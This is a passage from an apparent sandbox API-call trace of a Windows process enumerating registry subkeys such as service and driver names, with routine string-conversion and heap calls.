(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0212.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0212.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1850, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0212.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0212.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 